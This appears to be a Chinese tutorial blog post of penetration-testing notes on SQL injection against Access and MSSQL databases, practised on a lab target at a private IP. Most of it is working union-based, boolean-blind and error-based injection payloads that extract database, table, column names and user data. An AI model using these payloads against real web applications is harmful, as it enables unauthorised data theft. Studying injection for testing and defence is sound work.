1-9其他数据库注入

文章目录

  • 数据库注入
      • access数据库
          • 判断access数据库
          • 常用函数
          • 查询语句构造
            • 联合查询
            • 布尔型盲注
      • mssql数据库
          • mssql数据库判断
          • 环境---靶机-2k3_sp2
          • 常用函数
          • 查询语句构造
            • 联合查询
            • 报错注入
            • 布尔型盲注

数据库注入

access数据库

判断access数据库
  • 根据url的后缀。ASP为后缀名的是ACCESS数据库
  • 在url后面加单引号,以报错信息“Microsoft ole db provider for odbc drivers”判断为access
  • 通过and (select count(*) from msysobjects)>0发牛错误页面则为access数据库。msysobjects、msysqueries\msysrelationships为access的三个系统表,web环境下没有权限访问
常用函数
  • count():返回统计给定条件的行数
  • len():字符串长度,例len(‘database’)返回’8‘
  • asc():返回ascii值
  • mid(‘字符串’,n,m):返回从第n位开始,截取m长度的字符串
  • chr():返回ascii对应的字符
  • IIF(条件表达式,true,false):判断条件成立返回true,否则返回false
  • exists():判断是否存在数据,返回true或false
查询语句构造
联合查询

先判断数据库类型

  1. 判断整型注入还是字符型,例?id=5-1和?id=4相同,则整型
  2. 判断列数:?id=1 order by N
  3. 枚举获取关键表名:?id=1 and exists(select count(*) from admin),看admin表是否存在,如果返回值则存在,反之
  4. 获取回显位置:?id=1 union select 1,1,1 from admin
  5. 获取数据(不存在limit和concat):?id=1 union select 1,user(),1 from admin where id=2,如果报错,则没有猜解函数的字段

在这里插入图片描述

布尔型盲注
  1. 猜解表名:?id=5 and (select count(*) from admin)>0或?id=5 and exists(select count(**) from admin),页面出错则不存在
  2. 表的行数:?id=5 and (select count(*) from admin)>N
  3. 猜解字段名:?id=5 and (select uname from admin)
  4. 猜解字段内容的长度:?id=5 and (select top 1 len( username) from admin)>N
  5. 获取内容值:用mid函数将内容截取长度,再进行asc函数得到ascii码值,就得到对应的字符了。输入?id=5 and (select top 1 asc(mid( username,M,1)) from admin)>N,M从1看是截取1的长度,用二分法不停尝试N的值,知道找到正确N值,M再加一,最后加至5获取该字段内容为admin。

mssql数据库

mssql数据库判断
  • .aspx为后缀的
  • 通过?id=5 and (select count(*) from sysobjects)>0,页面正常,则为mssql数据库。因为存在三个系统表,
    • sysobjects:存放所有对象。字段有name-对象名、id-对象id、xtype-对象类型、uid、status)
    • syscolumns:存放所有字段。字段有name-表名,id-表id,colid-字段id。当xtype=u and status>0时,对象名=表名,对象id=表id
    • sysdatabases:保存在master数据库中,保存了所有库名,库id和其他信息
环境—靶机-2k3_sp2

在这里插入图片描述

  1. 开启服务

  2. 登录数据库
    在这里插入图片描述

  3. http://192.168.43.21:8006/dianpu.aspx?id=1实践

常用函数
  • host_name():返回服务器的名称
  • Currnet_user:返回当前数据库用户
  • db_name():返回当前数据库名称
  • CHAR():将ascii转换为字符
  • Object_id():返回数据库表名,通常用16进制或sql编码
  • col_name(table_id,column_id):返回指定表中的列
  • isnull():使用指定的替换值替换null
  • substring():返回子字符串,也就是截取
查询语句构造
联合查询
  1. 判断数据库类型:输入/dianpu.aspx?id=1 and (select count(*) from sysobjects)>0页面正常,为mssql数据库

  2. **判断列数:**输入?id=1 order by 14,页面报错,则为13列,并且回显位是字符串时,会在页面显示,这里第10列为字符串

  3. **判断回显位置:**字符串的位置用null代替,输入?id=1 union select

    1,2,3,4,5,6,7,8,9,null,11,12,13页面报错,意思union执行了默认的去重功能,那这里不需要,所以重新输入为?id=1 union all select 1,2,3,4,5,6,7,8,9,null,11,12,13,

在这里插入图片描述

但是页面依然报错,如下,所以哈是有的位置依然不是数字型,只能一个一个将位置置空,换null,来确定哪些是字符型位置,最终确定为?id=-1 union all select 1,2,null,null,55,null,null,8,9,null,null,12,13,页面正常

在这里插入图片描述

  1. **获取数据库名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from master…sysdatabases,页面显示所有数据库名

  2. 获取当前数据库名:输入?id=-1 union all select 1,2,null,null,55,db_name(),null,8,9,null,null,12,13 from master…sy,页面显示当前数据库为jiaofan

  3. **获取数据库表名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…sysobjects where xtype=0x5500,即jiaofan数据库下的表

  4. **获取列名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=0x73006C005F007500730065007200),页面显示表中的列名信息

  5. **获取列字段的内容:**输入?id=-1 union all select 1,2,zuocheng,null,55,null,null,8,9,null,null,12,13 from sl_user,即获取sl_user表中zuocheng字段的信息

在这里插入图片描述

报错注入
  1. **获取数据库名:**输入http://192.168.43.21:8006/list.aspx?quyu=??′¨′ó?§?-°2oóD£??&kouwei=3?à±’ and 1=(select top 1 name from master…sysdatabases where name not in (select top N name from master…sysdatabases)) --+,该语句意思N值从0增加,逐个获取数据库名,查询第一数据库名,查第二个时,需要去更改N值 从报错信息知数据库为master

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I5GhwXk2-1597919684695)(D:\Desktop\乱七八糟\渗透\笔记\图库\1595341928185.png)]

  2. **获取当前数据库名:**输入’ and 1=(select db_name()) --+,获取的为jiaofan

  3. **获取库里面的表:**输入’ and 1=(select top 1 name from jiaofan…sysobjects where xtype=‘U’ and name not in (select top N name from jiaofan…sysobjects where xtype=‘U’)) --+,显示的表为sl_banner,将N值从0增加,逐个获取表名

  4. **获取列名信息:**输入’ and 1=(select top 1 name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’) and name not in (select top N name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’))) --+,同理,逐个获取列名,这里是shouji

  5. 获取列中的信息:输入’ and 1=(select top 1 shouji from sl_user where shouji not in (select top N shouji from sl_user)) --+,获取到了相应的信息

布尔型盲注

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358802.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自动化专业向往硬件方面靠,有什么好的建议?

我的建议是: 有能力考研就先考研,考不上可以选择就业,学历还是很重要的,门槛。自动化可以找一些相关的知名企业,按照他们的招聘要求要求自己,往这个方法发展,垂直领域研究很深,你就是大佬和专家。 有个帖子讲的挺全的,虽然是文章:自动化人生 下面是理论内容,我直接…

Linux下编译安装以及配置PHP环境

安装准备 依次执行下面命令,不存在的就搜差不多的就行,下面安装的都是后面安装环境可能需要用上的依赖,不管37是不是21,复制粘贴就是了 Ubuntu安装: sudo apt-get update sudo apt-get install gcc autoconf openssl libssl-dev curl libcurl4-gnutls-de…

有什么好一点的方法读jdk源码吗?

建议是: 1:找相关的书在看相关源码时应该对程序有整体了解,比如看虚拟机时至少要知道:垃圾回收算法,Java内存布局,class文件格式,加载连接的过程...很多人看源码一点头绪都没有,就是因为不了解对应的模块是干嘛的(比如Ja

给女朋友道歉的java代码_跟女朋友道歉的话,高情商的哄人句子

女朋友生气了,而且很严重。在这种情况下,不知道做什么挽回她。第一诚实的道歉可以缓和彼此紧张的气氛。重要的是,道歉完就需要说一些话语去哄她,至于怎么哄又是一个技术性的问题了,下面一起来看看跟女朋友道歉的话,高情…

使用Myeclipse完成Hibernate的逆向工程

Hibernate的开发流程一般有两种: 1、由Domain object > mapping > db 2、由db开始,用工具生成生成mapping 和Domain object。 在实际的开发过程中,涉及的表太多了,一个一个的写java实体类很费事费时的。Myeclipse提供了一个…

kali安装docker(有效详细的教程)

前记: 博主有着多次安装docker的丰富经验,曾经为了在kali成功安装docker花费不少时间。在kali2016.3一直到最新的kali2019.4都通吃!所以跟着下面的步骤走,绝对不会出错。(该机子此前没装过docker,并且配置好…

java中菜单分几级_JavaWeb三级菜单分类查询详解

废话不多说,直接贴代码:dao层代码:mapper:ListselectByParentId(Integer id);mapper.xmlselectfrom easybuy_product_categorywhere parentId #{parentId,jdbcTypeINTEGER}Test:import cn.hd.entity.ProductCategory;import cn.h…

使用Javaslang进行Java 8中的函数式编程

我们非常高兴地在jOOQ博客上宣布一个客座帖子,该帖子由HSH Nordbank的高级软件工程师,三个孩子的父亲, Daniel Dietrich撰写。 他目前作为项目负责人和首席开发人员为金融产品创建定价框架。 除工作外,他还对编程语言&#xff0c…

HFS远程命令执行漏洞复现

漏洞程序下载地址:Http File Server 这里说一下,在Windows server 2003中复现时,我直接使用Administrator用户登录,然后复现,未出现权限问题。再Windows 10中尝试复现时发现权限不足,需要以管理员权限执行漏洞程序。 运…

HTML标签速查表

有时候,学习的前端的标签太多,容易记不牢,这里整理一份标签速查表,便于查阅。不区分html或html5.

java解析java源码_JAVA语言-Java源码解析-Stack源码分析

一、简介stack类图.png栈是数据结构中一种很重要的数据结构类型,因为栈的后进先出功能是实际的开发中有很多的应用场景。Java API中提供了栈(Stacck)的实现。Stack类继承了Vector类,而Vector类继承了AbstractList抽象类,实现了List类&#xf…

渗透测试神器CS(4.0)的使用

CS CS简介CS功能安装CSCS的基本使用深入标题介绍 Beacon Commands基础操作演示 CS简介 CS 是Cobalt Strike的简称,是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端&…

UTF-8和GBK有啥区别?

粉丝求助: 如何解决: 把编辑器和浏览器的字符集统一设置成utf-8或者gbk即可。 主要区别: 1.GBK是在bai国家标准GB2312基础上扩容后兼容GB2312的标准(好像还不du是国家标准)。zhiGBK编码dao专门用来解决中文编码的,是双字节的。不论中英文都是双字节的。 2. UTF-8 编码是…

Java反射(Reflection)

基本概念 在Java运行时环境中,对于任意一个类,能否知道这个类有哪些属性和方法?对于任意一个对象,能否调用它的任意一个方法? 答案是肯定的。 这种动态获取类的信息以及动态调用对象的方法的功能来自于Java语言的反射&…

超详细的MySQL三万字总结

文章目录 MySQL基础数据库的介绍数据库概述数据的存储方式数据库的概念常见数据库排行榜 数据库的安装与卸载数据库的安装数据库的卸载 数据库服务的启动与登录Windows 服务方式启动DOS 命令方式启动控制台连接数据库SQLyog 图形化工具——客户端使用 SQLyog 登录数据库数据库…

你要的能做出炫酷图表的网站来啦

不需要多高深的技术,也不需要多长时间,分分钟让小白都能做出超好看的图表~ 1.DataV DataV 是阿里云出品的在线可视化工具,可以将超多数据,放在一块大屏上 2.网易有数 网易有数的特点是,编辑页面自由度非常高&#x…

求有向图中两点最短距离java_算法题解:求有向图中的最短路径(JAVA+DFS算法实现)...

求有向图中的最短路径(JAVADFS算法实现)问题描述给定一个有向图,如下图所示,求从1号顶点到5号顶点的最短路径。输入数据格式为第一行输入顶点数和边数,从第二行开始每一行输入3个整数,分别代表连接顶点的边和权重。例如&#xff1…

Postman使用详解

一、Postman背景介绍 用户在开发或者调试网络程序或者是网页B/S模式的程序的时候是需要一些方法来跟踪网页请求的,用户可以使用一些网络的监视工具比如著名的Firebug等网页调试工具。今天给大家介绍的这款网页调试工具不仅可以调试简单的css、html、脚本等简单的网…

postman插件下载安装教程(详细)

一、前言 postman是一款强大网页接口调试工具,我们在平时开发过程中经常会使用到,一般使用最多的是postman的客户端,实际上postman在谷歌浏览器上也提供了插件,可以不必要安装客户端进行接口测试工作。 建议更新到最新谷歌浏览器&…

SharePoint 2013 workflow cannot start automatically when you logged in site as a system account

I have created one simple workflow on custom list using SharePoint designer 2013.While designing workflow, I have unchecked the “Allow this workflow to be manually started” and select rest two options like “Start workflow automatically when an item is c…